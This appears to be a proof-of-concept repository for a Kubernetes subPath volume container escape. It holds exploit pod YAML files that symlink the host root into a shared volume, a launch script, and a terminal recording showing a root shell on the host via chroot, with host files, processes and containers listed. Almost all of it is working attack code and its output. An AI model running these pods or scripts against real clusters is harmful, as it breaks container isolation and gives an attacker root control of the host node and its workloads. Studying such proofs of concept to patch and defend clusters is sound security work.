], 741 | [ 742 | 2.4e-05, 743 | "t" 744 | ], 745 | [ 746 | 2.3e-05, 747 | " " 748 | ], 749 | [ 750 | 6.3e-05, 751 | "s" 752 | ], 753 | [ 754 | 3.2e-05, 755 | "ub" 756 | ], 757 | [ 758 | 2.9e-05, 759 | "p" 760 | ], 761 | [ 762 | 2.7e-05, 763 | "a" 764 | ], 765 | [ 766 | 2.8e-05, 767 | "t" 768 | ], 769 | [ 770 | 2.6e-05, 771 | "h" 772 | ], 773 | [ 774 | 5.9e-05, 775 | " " 776 | ], 777 | [ 778 | 4.3e-05, 779 | "-" 780 | ], 781 | [ 782 | 3e-05, 783 | "c" 784 | ], 785 | [ 786 | 2.9e-05, 787 | " " 788 | ], 789 | [ 790 | 3.8e-05, 791 | "ex" 792 | ], 793 | [ 794 | 3e-05, 795 | "p" 796 | ], 797 | [ 798 | 2.7e-05, 799 | "l" 800 | ], 801 | [ 802 | 2.9e-05, 803 | "o" 804 | ], 805 | [ 806 | 3e-05, 807 | "i" 808 | ], 809 | [ 810 | 2.9e-05, 811 | "t" 812 | ], 813 | [ 814 | 2.9e-05, 815 | " " 816 | ], 817 | [ 818 | 2.8e-05, 819 | "-" 820 | ], 821 | [ 822 | 2.9e-05, 823 | "-" 824 | ], 825 | [ 826 | 3.1e-05, 827 | " " 828 | ], 829 | [ 830 | 2.9e-05, 831 | "c" 832 | ], 833 | [ 834 | 2.7e-05, 835 | "h" 836 | ], 837 | [ 838 | 2.9e-05, 839 | "r" 840 | ], 841 | [ 842 | 3e-05, 843 | "o" 844 | ], 845 | [ 846 | 3.1e-05, 847 | "o" 848 | ], 849 | [ 850 | 2.6e-05, 851 | "t" 852 | ], 853 | [ 854 | 2.9e-05, 855 | " " 856 | ], 857 | [ 858 | 3.8e-05, 859 | "/" 860 | ], 861 | [ 862 | 3e-05, 863 | "r" 864 | ], 865 | [ 866 | 2.7e-05, 867 | "o" 868 | ], 869 | [ 870 | 3e-05, 871 | "o" 872 | ], 873 | [ 874 | 3e-05, 875 | "t" 876 | ], 877 | [ 878 | 3.5e-05, 879 | "f" 880 | ], 881 | [ 882 | 2.8e-05, 883 | "s" 884 | ], 885 | [ 886 | 3.2e-05, 887 | " " 888 | ], 889 | [ 890 | 3e-05, 891 | "/" 892 | ], 893 | [ 894 | 2.9e-05, 895 | "b" 896 | ], 897 | [ 898 | 2.8e-05, 899 | "i" 900 | ], 901 | [ 902 | 3.2e-05, 903 | "n" 904 | ], 905 | [ 906 | 3e-05, 907 | "/" 908 | ], 909 | [ 910 | 3e-05, 911 | "b" 912 | ], 913 | [ 914 | 2.7e-05, 915 | "a" 916 | ], 917 | [ 918 | 3.1e-05, 919 | "s" 920 | ], 921 | [ 922 | 3e-05, 923 | "h" 924 | ], 925 | [ 926 | 0.838855, 927 | "\r\n" 928 | ], 929 | [ 930 | 0.339972, 931 | "\u001b]0;root@subpath: /\u0007root@subpath:/# " 932 | ], 933 | [ 934 | 2.0, 935 | "l" 936 | ], 937 | [ 938 | 0.0885, 939 | "s" 940 | ], 941 | [ 942 | 0.171436, 943 | "\r\n\u001b[0m\u001b[01;34mbin\u001b[0m \u001b[01;34mdev\u001b[0m \u001b[01;34mhome\u001b[0m \u001b[01;36minitrd.img.old\u001b[0m \u001b[01;34mlib64\u001b[0m \u001b[01;34mmedia\u001b[0m \u001b[01;34mopt\u001b[0m \u001b[01;34mroot\u001b[0m \u001b[01;34msbin\u001b[0m \u001b[01;34msrv\u001b[0m \u001b[30;42mtmp\u001b[0m \u001b[01;34mvar\u001b[0m \u001b[01;36mvmlinuz.old\u001b[0m\r\n\u001b[01;34mboot\u001b[0m \u001b[01;34metc\u001b[0m \u001b[01;36minitrd.img\u001b[0m \u001b[01;34mlib\u001b[0m \u001b[01;34mlost+found\u001b[0m \u001b[01;34mmnt\u001b[0m \u001b[01;34mproc\u001b[0m \u001b[01;34mrun\u001b[0m \u001b[01;34msnap\u001b[0m \u001b[01;34msys\u001b[0m \u001b[01;34musr\u001b[0m \u001b[01;36mvmlinuz\u001b[0m\r\n\u001b]0;root@subpath: /\u0007root@subpath:/# " 944 | ], 945 | [ 946 | 2.0, 947 | "l" 948 | ], 949 | [ 950 | 0.086382, 951 | "s" 952 | ], 953 | [ 954 | 0.067347, 955 | " " 956 | ], 957 | [ 958 | 0.160737, 959 | "-" 960 | ], 961 | [ 962 | 0.053493, 963 | "a" 964 | ], 965 | [ 966 | 0.181403, 967 | "l" 968 | ], 969 | [ 970 | 0.227643, 971 | "\r\ntotal 96\r\ndrwxr-xr-x 23 root root 4096 Mar 17 14:36 \u001b[0m\u001b[01;34m.\u001b[0m\r\ndrwxr-xr-x 23 root root 4096 Mar 17 14:36 \u001b[01;34m..\u001b[0m\r\ndrwxr-xr-x 2 root root 4096 Mar 17 14:36 \u001b[01;34mbin\u001b[0m\r\ndrwxr-xr-x 3 root root 4096 Mar 17 14:37 \u001b[01;34mboot\u001b[0m\r\ndrwxr-xr-x 14 root root 3800 Mar 17 14:35 \u001b[01;34mdev\u001b[0m\r\ndrwxr-xr-x 94 root root 4096 Mar 17 14:37 \u001b[01;34metc\u001b[0m\r\ndrwxr-xr-x 3 root root 4096 Feb 5 14:31 \u001b[01;34mhome\u001b[0m\r\nlrwxrwxrwx 1 root root 30 Mar 17 14:36 \u001b[01;36minitrd.img\u001b[0m -> boot/initrd.img-4.4.0-1052-aws\r\nlrwxrwxrwx 1 root root 30 Jan 26 06:07 \u001b[01;36minitrd.img.old\u001b[0m -> boot/initrd.img-4.4.0-1049-aws\r\ndrwxr-xr-x 22 root root 4096 Feb 5 14:32 \u001b[01;34mlib\u001b[0m\r\ndrwxr-xr-x 2 root root 4096 Jan 26 05:54 \u001b[01;34mlib64\u001b[0m\r\ndrwx------ 2 root root 16384 Jan 26 06:01 \u001b[01;34mlost+found\u001b[0m\r\ndrwxr-xr-x 2 root root 4096 Jan 26 05:53 \u001b[01;34mmedia\u001b[0m\r\ndrwxr-xr-x 2 root root 4096 Jan 26 05:53 \u001b[01;34mmnt\u001b[0m\r\ndrwxr-xr-x 3 root root 4096 Feb 5 14:33 \u001b[01;34mopt\u001b[0" 972 | ], 973 | [ 974 | 0.000136, 975 | "m\r\ndr-xr-xr-x 136 root root 0 Mar 17 14:35 \u001b[01;34mproc\u001b[0m\r\ndrwx------ 3 root root 4096 Mar 22 16:41 \u001b[01;34mroot\u001b[0m\r\ndrwxr-xr-x 27 root root 1140 Mar 19 02:06 \u001b[01;34mrun\u001b[0m\r\ndrwxr-xr-x 2 root root 12288 Mar 17 14:36 \u001b[01;34msbin\u001b[0m\r\ndrwxr-xr-x 2 root root 4096 Nov 30 19:48 \u001b[01;34msnap\u001b[0m\r\ndrwxr-xr-x 2 root root 4096 Jan 26 05:53 \u001b[01;34msrv\u001b[0m\r\ndr-xr-xr-x 13 root root 0 Mar 22 15:22 \u001b[01;34msys\u001b[0m\r\ndrwxrwxrwt 8 root root 4096 Mar 23 13:17 \u001b[30;42mtmp\u001b[0m\r\ndrwxr-xr-x 11 root root 4096 Feb 5 14:34 \u001b[01;34musr\u001b[0m\r\ndrwxr-xr-x 13 root root 4096 Jan 26 05:55 \u001b[01;34mvar\u001b[0m\r\nlrwxrwxrwx 1 root root 27 Mar 17 14:36 \u001b[01;36mvmlinuz\u001b[0m -> boot/vmlinuz-4.4.0-1052-aws\r\nlrwxrwxrwx 1 root root 27 Jan 26 06:07 \u001b[01;36mvmlinuz.old\u001b[0m -> boot/vmlinuz-4.4.0-1049-aws\r\n\u001b]0;root@subpath: /\u0007root@subpath:/# " 976 | ], 977 | [ 978 | 1.810731, 979 | "c" 980 | ], 981 | [ 982 | 0.167847, 983 | "a" 984 | ], 985 | [ 986 | 0.065071, 987 | "t" 988 | ], 989 | [ 990 | 0.100232, 991 | " " 992 | ], 993 | [ 994 | 0.125662, 995 | "/" 996 | ], 997 | [ 998 | 0.078906, 999 | "e" 1000 | ], 1001 | [ 1002 | 0.044324, 1003 | "t" 1004 | ], 1005 | [ 1006 | 0.204728, 1007 | "c" 1008 | ], 1009 | [ 1010 | 0.076904, 1011 | "/" 1012 | ], 1013 | [ 1014 | 0.135075, 1015 | "h" 1016 | ], 1017 | [ 1018 | 0.111515, 1019 | "o" 1020 | ], 1021 | [ 1022 | 0.169913, 1023 | "s" 1024 | ], 1025 | [ 1026 | 0.088997, 1027 | "t" 1028 | ], 1029 | [ 1030 | 0.160104, 1031 | "n" 1032 | ], 1033 | [ 1034 | 0.097814, 1035 | "a" 1036 | ], 1037 | [ 1038 | 0.115463, 1039 | "m" 1040 | ], 1041 | [ 1042 | 0.077628, 1043 | "e" 1044 | ], 1045 | [ 1046 | 0.138046, 1047 | "\r\nip-10-1-0-10\r\n\u001b]0;root@subpath: /\u0007root@subpath:/# " 1048 | ], 1049 | [ 1050 | 1.910071, 1051 | "c" 1052 | ], 1053 | [ 1054 | 0.158056, 1055 | "a" 1056 | ], 1057 | [ 1058 | 0.088268, 1059 | "t" 1060 | ], 1061 | [ 1062 | 0.100241, 1063 | " " 1064 | ], 1065 | [ 1066 | 0.067553, 1067 | "/" 1068 | ], 1069 | [ 1070 | 0.079264, 1071 | "e" 1072 | ], 1073 | [ 1074 | 0.055812, 1075 | "t" 1076 | ], 1077 | [ 1078 | 0.216398, 1079 | "c" 1080 | ], 1081 | [ 1082 | 0.123687, 1083 | "/" 1084 | ], 1085 | [ 1086 | 0.318294, 1087 | "o" 1088 | ], 1089 | [ 1090 | 0.028226, 1091 | "s" 1092 | ], 1093 | [ 1094 | 0.181166, 1095 | "-" 1096 | ], 1097 | [ 1098 | 0.158465, 1099 | "r" 1100 | ], 1101 | [ 1102 | 0.076807, 1103 | "e" 1104 | ], 1105 | [ 1106 | 0.158924, 1107 | "l" 1108 | ], 1109 | [ 1110 | 0.043519, 1111 | "e" 1112 | ], 1113 | [ 1114 | 0.137167, 1115 | "a" 1116 | ], 1117 | [ 1118 | 0.088521, 1119 | "s" 1120 | ], 1121 | [ 1122 | 0.100067, 1123 | "e" 1124 | ], 1125 | [ 1126 | 0.249979, 1127 | "\r\nNAME=\"Ubuntu\"\r\nVERSION=\"16.04.3 LTS (Xenial Xerus)\"\r\nID=ubuntu\r\nID_LIKE=debian\r\nPRETTY_NAME=\"Ubuntu 16.04.3 LTS\"\r\nVERSION_ID=\"16.04\"\r\nHOME_URL=\"http://www.ubuntu.com/\"\r\nSUPPORT_URL=\"http://help.ubuntu.com/\"\r\nBUG_REPORT_URL=\"http://bugs.launchpad.net/ubuntu/\"\r\nVERSION_CODENAME=xenial\r\nUBUNTU_CODENAME=xenial\r\n\u001b]0;root@subpath: /\u0007root@subpath:/# " 1128 | ], 1129 | [ 1130 | 2.0, 1131 | "p" 1132 | ], 1133 | [ 1134 | 0.06502, 1135 | "s" 1136 | ], 1137 | [ 1138 | 0.10029, 1139 | " " 1140 | ], 1141 | [ 1142 | 0.090557, 1143 | "-" 1144 | ], 1145 | [ 1146 | 0.055896, 1147 | "e" 1148 | ], 1149 | [ 1150 | 0.079124, 1151 | "f" 1152 | ], 1153 | [ 1154 | 0.101014, 1155 | "\r\n" 1156 | ], 1157 | [ 1158 | 0.013595, 1159 | "UID PID PPID C STIME TTY TIME CMD\r\nroot 1 0 0 Mar17 ? 00:00:05 /lib/systemd/systemd --system --deserialize 26\r\nroot 2 0 0 Mar17 ? 00:00:00 [kthreadd]\r\nroot 3 2 0 Mar17 ? 00:00:27 [ksoftirqd/0]\r\nroot 5 2 0 Mar17 ? 00:00:00 [kworker/0:0H]\r\nroot 7 2 0 Mar17 ? 00:00:47 [rcu_sched]\r\nroot 8 2 0 Mar17 ? 00:00:00 [rcu_bh]\r\nroot 9 2 0 Mar17 ? 00:00:00 [migration/0]\r\nroot 10 2 0 Mar17 ? 00:00:01 [watchdog/0]\r\nroot 11 2 0 Mar17 ? 00:00:00 [kdevtmpfs]\r\nroot 12 2 0 Mar17 ? 00:00:00 [netns]\r\nroot 13 2 0 Mar17 ? 00:00:00 [perf]\r\nroot 14 2 0 Mar17 ? 00:00:00 [xenwatch]\r\nroot 15 2 0 Mar17 ? 00:00:00 [xenbus]\r\nroot 17 2 0 Mar17 ? 00:00:00 [khungtaskd]\r\nroot 18 2 0 Mar17 ? 00:00:00 [writeback]\r\nroot 19 2 0 Mar17" 1160 | ], 1161 | [ 1162 | 7.9e-05, 1163 | " ? 00:00:00 [ksmd]\r\nroot 20 2 0 Mar17 ? 00:00:00 [khugepaged]\r\nroot 21 2 0 Mar17 ? 00:00:00 [crypto]\r\nroot 22 2 0 Mar17 ? 00:00:00 [kintegrityd]\r\nroot 23 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 24 2 0 Mar17 ? 00:00:00 [kblockd]\r\nroot 25 2 0 Mar17 ? 00:00:00 [ata_sff]\r\nroot 26 2 0 Mar17 ? 00:00:00 [md]\r\nroot 27 2 0 Mar17 ? 00:00:00 [devfreq_wq]\r\nroot 30 2 0 Mar17 ? 00:00:00 [kswapd0]\r\nroot 31 2 0 Mar17 ? 00:00:00 [vmstat]\r\nroot 32 2 0 Mar17 ? 00:00:00 [fsnotify_mark]\r\nroot 33 2 0 Mar17 ? 00:00:00 [ecryptfs-kthrea]\r\nroot 49 2 0 Mar17 ? 00:00:00 [kthrotld]\r\nroot 50 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 51 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 52 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 53 2 0 Mar17 ? " 1164 | ], 1165 | [ 1166 | 8e-05, 1167 | "00:00:00 [bioset]\r\nroot 54 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 55 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 56 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 57 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 58 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 59 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 60 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 61 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 62 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 63 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 64 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 65 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 66 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 67 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 68 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 69 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 70 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 71 " 1168 | ], 1169 | [ 1170 | 0.000258, 1171 | "2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 72 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 73 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 74 2 0 Mar17 ? 00:00:00 [scsi_eh_0]\r\nroot 75 2 0 Mar17 ? 00:00:00 [scsi_tmf_0]\r\nroot 76 2 0 Mar17 ? 00:00:00 [scsi_eh_1]\r\nroot 77 2 0 Mar17 ? 00:00:00 [scsi_tmf_1]\r\nroot 82 2 0 Mar17 ? 00:00:00 [ipv6_addrconf]\r\nroot 84 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 96 2 0 Mar17 ? 00:00:00 [deferwq]\r\nroot 248 2 0 Mar17 ? 00:00:00 [raid5wq]\r\nroot 279 2 0 Mar17 ? 00:00:00 [bioset]\r\nroot 302 2 0 Mar17 ? 00:00:01 [jbd2/xvda1-8]\r\nroot 303 2 0 Mar17 ? 00:00:00 [ext4-rsv-conver]\r\nroot 363 2 0 Mar17 ? 00:00:00 [kworker/0:1H]\r\nroot 388 1 0 Mar17 ? 00:08:21 /lib/systemd/systemd-journald\r\nroot 397 2 0 Mar17 ? 00:00:00 [i" 1172 | ], 1173 | [ 1174 | 6.6e-05, 1175 | "scsi_eh]\r\nroot 398 2 0 Mar17 ? 00:00:00 [kauditd]\r\nroot 401 2 0 Mar17 ? 00:00:00 [ib_addr]\r\nroot 405 2 0 Mar17 ? 00:00:00 [ib_mcast]\r\nroot 406 2 0 Mar17 ? 00:00:00 [ib_nl_sa_wq]\r\nroot 409 2 0 Mar17 ? 00:00:00 [ib_cm]\r\nroot 414 2 0 Mar17 ? 00:00:00 [iw_cm_wq]\r\nroot 416 2 0 Mar17 ? 00:00:00 [rdma_cm]\r\nroot 426 1 0 Mar17 ? 00:00:00 /sbin/lvmetad -f\r\nroot 1014 1 0 Mar17 ? 00:00:00 /sbin/dhclient -1 -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhc\r\nroot 1229 1 0 Mar17 ? 00:00:02 /usr/bin/lxcfs /var/lib/lxcfs/\r\nroot 1231 1 0 Mar17 ? 00:00:00 /lib/systemd/systemd-logind\r\nroot 1235 1 0 Mar17 ? 00:01:20 /usr/lib/accountsservice/accounts-daemon\r\nroot 1237 1 0 Mar17 ? 00:07:10 /usr/local/bin/kube-proxy --cluster-cidr=10.2.0.0/16 --master=ht\r\nroot 1241 1 0 Mar17 ? 00:00:07 /sbin/is" 1176 | ], 1177 | [ 1178 | 4.6e-05, 1179 | "csid\r\nroot 1242 1 0 Mar17 ? 00:00:37 /sbin/iscsid\r\nsyslog 1248 1 0 Mar17 ? 00:02:17 /usr/sbin/rsyslogd -n\r\nroot 1257 1 1 Mar17 ? 01:27:33 /usr/local/bin/kubelet --allow-privileged=true --cluster-dns=10.\r\nmessage+ 1261 1 0 Mar17 ? 00:00:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopi\r\nroot 1268 1 0 Mar17 ? 00:00:00 /usr/sbin/sshd -D\r\nroot 1271 1 0 Mar17 ? 00:18:14 /usr/bin/dockerd -H fd:// --ip-masq=false --iptables=false --log\r\nroot 1279 1 0 Mar17 ? 00:00:00 /usr/sbin/cron -f\r\nroot 1288 1 0 Mar17 ? 00:00:00 /usr/sbin/acpid\r\ndaemon 1294 1 0 Mar17 ? 00:00:00 /usr/sbin/atd -f\r\nroot 1297 1 1 Mar17 ? 01:32:23 /usr/local/bin/kube-apiserver --admission-control=AlwaysAdmit --\r\nroot 1303 1 0 Mar17 ? 00:27:12 /usr/local/bin/kube-scheduler --master=http://10.1.0.10:8080 --v\r\nroot 1310 1 0 Mar17 ? 00:00:12 /u" 1180 | ], 1181 | [ 1182 | 0.000228, 1183 | "sr/lib/snapd/snapd\r\nroot 1320 1 0 Mar17 ? 00:00:00 /sbin/mdadm --monitor --pid-file /run/mdadm/monitor.pid --daemon\r\nroot 1327 1 0 Mar17 ? 00:00:00 /usr/lib/policykit-1/polkitd --no-debug\r\nroot 1400 1 0 Mar17 tty1 00:00:00 /sbin/agetty --noclear tty1 linux\r\nroot 1407 1 0 Mar17 ttyS0 00:00:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220\r\nroot 1479 1271 0 Mar17 ? 00:04:10 containerd -l unix:///var/run/docker/libcontainerd/docker-contai\r\nroot 1517 1 0 Mar19 ? 00:45:35 /usr/local/bin/kube-controller-manager --address=0.0.0.0 --clust\r\nroot 1918 1479 0 Mar17 ? 00:00:00 containerd-shim 0f394f295b38d9080b1ef1e4a933cf348305d97a494dab06\r\nroot 1935 1918 0 Mar17 ? 00:00:00 /pause\r\nroot 2063 1479 0 Mar17 ? 00:00:00 containerd-shim a3c7cd6d8e0ebf603b431604ab7a1844f8ed0b651b231b10\r\nroot 2079 2063 0 Mar17 ? 00:01:22 /dashboard --insecure-bind-address=0.0.0.0 --apiserver" 1184 | ], 1185 | [ 1186 | 7.4e-05, 1187 | "-host=http\r\nroot 2511 2 0 09:20 ? 00:00:00 [kworker/0:0]\r\nsystemd+ 4138 1 0 Mar17 ? 00:00:00 /lib/systemd/systemd-timesyncd\r\nroot 5781 1 0 Mar17 ? 00:00:01 /lib/systemd/systemd-udevd\r\nroot 10028 2 0 Mar17 ? 00:00:00 [xfsalloc]\r\nroot 10029 2 0 Mar17 ? 00:00:00 [xfs_mru_cache]\r\nroot 13418 1479 0 13:29 ? 00:00:00 containerd-shim 189cc4bef06ddc645865b0ccdf72130e99f000320e104a10\r\nroot 13435 13418 0 13:29 ? 00:00:00 /pause\r\nroot 13471 2 0 13:29 ? 00:00:00 [kworker/0:1]\r\nroot 13476 2 0 13:29 ? 00:00:00 [kworker/0:3]\r\nroot 13480 2 0 13:29 ? 00:00:00 [kworker/u30:2]\r\nroot 13516 1479 0 13:29 ? 00:00:00 containerd-shim 294d653161ac9e387b173c2cead5033c1e51800e6cea2811\r\nroot 13532 13516 0 13:29 ? 00:00:00 sleep infinity\r\nroot 13565 1479 0 13:29 ? 00:00:00 containerd-shim 3f055bd81ff8d971d8392704efc3d8194895373bca137819\r\nroot 13581 " 1188 | ], 1189 | [ 1190 | 0.00321, 1191 | "13565 0 13:29 ? 00:00:00 /bin/bash -c if [[ -f /status/done ]];then sleep infinity; else \r\nroot 13599 13581 0 13:29 ? 00:00:00 sleep infinity\r\nroot 13611 1479 0 13:29 ? 00:00:00 containerd-shim 3f055bd81ff8d971d8392704efc3d8194895373bca137819\r\nroot 13626 13611 0 13:29 pts/0 00:00:00 /bin/bash\r\nroot 13675 13626 0 13:30 pts/0 00:00:00 ps -ef\r\nroot 21224 2 0 Mar22 ? 00:00:01 [kworker/0:2]\r\nroot 21229 2 0 Mar22 ? 00:00:00 [kworker/u30:0]\r\nroot 23110 2 0 Mar22 ? 00:00:00 [kworker/u30:1]\r\n\u001b]0;root@subpath: /\u0007root@subpath:/# " 1192 | ], 1193 | [ 1194 | 1.750831, 1195 | "d" 1196 | ], 1197 | [ 1198 | 0.088284, 1199 | "o" 1200 | ], 1201 | [ 1202 | 0.088538, 1203 | "c" 1204 | ], 1205 | [ 1206 | 0.067344, 1207 | "k" 1208 | ], 1209 | [ 1210 | 0.090971, 1211 | "e" 1212 | ], 1213 | [ 1214 | 0.034609, 1215 | "r" 1216 | ], 1217 | [ 1218 | 0.077072, 1219 | " " 1220 | ], 1221 | [ 1222 | 0.035009, 1223 | "p" 1224 | ], 1225 | [ 1226 | 0.111808, 1227 | "s" 1228 | ], 1229 | [ 1230 | 0.09119, 1231 | "\r\n" 1232 | ], 1233 | [ 1234 | 0.845129, 1235 | "CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\r\n3f055bd81ff8 nginx@sha256:c4ee0ecb376636258447e1d8effb56c09c75fe7acf756bf7c13efadf38aa0aca \"/bin/bash -c 'if ...\" 44 seconds ago Up 44 seconds k8s_exploit_subpath_default_3fb02fa6-2e9e-11e8-9d04-06d7638bd978_0\r\n294d653161ac nginx@sha256:c4ee0ecb376636258447e1d8effb56c09c75fe7acf756bf7c13efadf38aa0aca \"/bin/bash -c 'cd ...\" 44 seconds ago Up 44 seconds k8s_setup_subpath_default_3fb02fa6-2e9e-11e8-9d04-06d7638bd978_0\r\n189cc4bef06d gcr.io/google_containers/pause-amd64:3.0 \"/pause\" 45 seconds ago " 1236 | ], 1237 | [ 1238 | 7.4e-05, 1239 | " Up 45 seconds k8s_POD_subpath_default_3fb02fa6-2e9e-11e8-9d04-06d7638bd978_0\r\na3c7cd6d8e0e gcr.io/google_containers/kubernetes-dashboard-amd64@sha256:2c4421ed80358a0ee97b44357b6cd6dc09be6ccc27dfe9d50c9bfc39a760e5fe \"/dashboard --inse...\" 5 days ago Up 5 days k8s_kubernetes-dashboard_kubernetes-dashboard-5b575fd4c-77fqr_kube-system_d60f089f-0a85-11e8-9462-06d7638bd978_3\r\n0f394f295b38 gcr.io/google_containers/pause-amd64:3.0 \"/pause\" 5 days ago Up 5 days k8s_POD_kubernetes-dashboard-5b575fd4c-77fqr_kube-system_d60f089f-0a85-11e8-9462-06d7638bd978_1\r\n\u001b]0;root@subpath: /\u0007root@subpath:/# " 1240 | ] 1241 | ] 1242 | } 1243 | -------------------------------------------------------------------------------- /exploit-pod-no-chroot.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: subpath 6 | spec: 7 | containers: 8 | - image: nginx:latest 9 | securityContext: 10 | allowPrivilegeEscalation: false 11 | capabilities: 12 | drop: 13 | - CHOWN 14 | - DAC_OVERRIDE 15 | - FOWNER 16 | - FSETID 17 | - KILL 18 | - SETGID 19 | - SETUID 20 | - SETPCAP 21 | - NET_BIND_SERVICE 22 | - NET_ADMIN 23 | - NET_RAW 24 | - SYS_CHROOT 25 | - MKNOD 26 | - AUDIT_WRITE 27 | name: setup 28 | imagePullPolicy: "Always" 29 | command: ["/bin/bash"] 30 | args: ["-c", "cd /rootfs && rm -rf hostetc && ln -s / /rootfs/host && touch /status/done && sleep infinity"] 31 | volumeMounts: 32 | - mountPath: /rootfs 33 | name: escape-volume 34 | - mountPath: /status 35 | name: status-volume 36 | - image: nginx:latest 37 | securityContext: 38 | allowPrivilegeEscalation: false 39 | capabilities: 40 | drop: 41 | - CHOWN 42 | - DAC_OVERRIDE 43 | - FOWNER 44 | - FSETID 45 | - KILL 46 | - SETGID 47 | - SETUID 48 | - SETPCAP 49 | - NET_BIND_SERVICE 50 | - NET_ADMIN 51 | - NET_RAW 52 | - SYS_CHROOT 53 | - MKNOD 54 | - AUDIT_WRITE 55 | name: exploit 56 | imagePullPolicy: "Always" 57 | command: ["/bin/bash"] 58 | args: ["-c", "if [[ -f /status/done ]];then sleep infinity; else sleep 1; fi"] 59 | volumeMounts: 60 | - mountPath: /rootfs 61 | name: escape-volume 62 | subPath: host 63 | - mountPath: /status 64 | name: status-volume 65 | volumes: 66 | - name: escape-volume 67 | emptyDir: {} 68 | - name: status-volume 69 | emptyDir: {} 70 | -------------------------------------------------------------------------------- /exploit-pod-user-1000.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: subpath 6 | spec: 7 | containers: 8 | - image: nginx:latest 9 | securityContext: 10 | allowPrivilegeEscalation: false 11 | runAsUser: 1000 12 | capabilities: 13 | drop: 14 | - CHOWN 15 | - DAC_OVERRIDE 16 | - FOWNER 17 | - FSETID 18 | - KILL 19 | - SETGID 20 | - SETUID 21 | - SETPCAP 22 | - NET_BIND_SERVICE 23 | - NET_ADMIN 24 | - NET_RAW 25 | - MKNOD 26 | - AUDIT_WRITE 27 | name: setup 28 | imagePullPolicy: "Always" 29 | command: ["/bin/bash"] 30 | args: ["-c", "cd /rootfs && rm -rf hostetc && ln -s /home/ubuntu /rootfs/host && touch /status/done && sleep infinity"] 31 | volumeMounts: 32 | - mountPath: /rootfs 33 | name: escape-volume 34 | - mountPath: /status 35 | name: status-volume 36 | - image: nginx:latest 37 | securityContext: 38 | allowPrivilegeEscalation: false 39 | runAsUser: 1000 40 | capabilities: 41 | drop: 42 | - CHOWN 43 | - DAC_OVERRIDE 44 | - FOWNER 45 | - FSETID 46 | - KILL 47 | - SETGID 48 | - SETUID 49 | - SETPCAP 50 | - NET_BIND_SERVICE 51 | - NET_ADMIN 52 | - NET_RAW 53 | - MKNOD 54 | - AUDIT_WRITE 55 | name: exploit 56 | imagePullPolicy: "Always" 57 | command: ["/bin/bash"] 58 | args: ["-c", "if [[ -f /status/done ]];then sleep infinity; else sleep 1; fi"] 59 | volumeMounts: 60 | - mountPath: /rootfs 61 | name: escape-volume 62 | subPath: host 63 | - mountPath: /status 64 | name: status-volume 65 | volumes: 66 | - name: escape-volume 67 | emptyDir: {} 68 | - name: status-volume 69 | emptyDir: {} 70 | -------------------------------------------------------------------------------- /exploit-pod.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: subpath 6 | spec: 7 | containers: 8 | - image: nginx:latest 9 | securityContext: 10 | allowPrivilegeEscalation: false 11 | capabilities: 12 | drop: 13 | - CHOWN 14 | - DAC_OVERRIDE 15 | - FOWNER 16 | - FSETID 17 | - KILL 18 | - SETGID 19 | - SETUID 20 | - SETPCAP 21 | - NET_BIND_SERVICE 22 | - NET_ADMIN 23 | - NET_RAW 24 | - MKNOD 25 | - AUDIT_WRITE 26 | name: setup 27 | imagePullPolicy: "Always" 28 | command: ["/bin/bash"] 29 | args: ["-c", "cd /rootfs && rm -rf hostetc && ln -s / /rootfs/host && touch /status/done && sleep infinity"] 30 | volumeMounts: 31 | - mountPath: /rootfs 32 | name: escape-volume 33 | - mountPath: /status 34 | name: status-volume 35 | - image: nginx:latest 36 | securityContext: 37 | allowPrivilegeEscalation: false 38 | capabilities: 39 | drop: 40 | - CHOWN 41 | - DAC_OVERRIDE 42 | - FOWNER 43 | - FSETID 44 | - KILL 45 | - SETGID 46 | - SETUID 47 | - SETPCAP 48 | - NET_BIND_SERVICE 49 | - NET_ADMIN 50 | - NET_RAW 51 | - MKNOD 52 | - AUDIT_WRITE 53 | name: exploit 54 | imagePullPolicy: "Always" 55 | command: ["/bin/bash"] 56 | args: ["-c", "if [[ -f /status/done ]];then sleep infinity; else sleep 1; fi"] 57 | volumeMounts: 58 | - mountPath: /rootfs 59 | name: escape-volume 60 | subPath: host 61 | - mountPath: /status 62 | name: status-volume 63 | volumes: 64 | - name: escape-volume 65 | emptyDir: {} 66 | - name: status-volume 67 | emptyDir: {} 68 | -------------------------------------------------------------------------------- /run-as-root-no-chroot.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Create the pod..." 4 | kubectl create -f exploit-pod.yaml 5 | echo "Pod created. Sleeping a bit to allow them to come up" 6 | sleep 5 7 | echo "Execing into the container. Run: cd /rootfs" 8 | kubectl exec -it subpath -c exploit -- /bin/bash 9 | echo "Cleaning 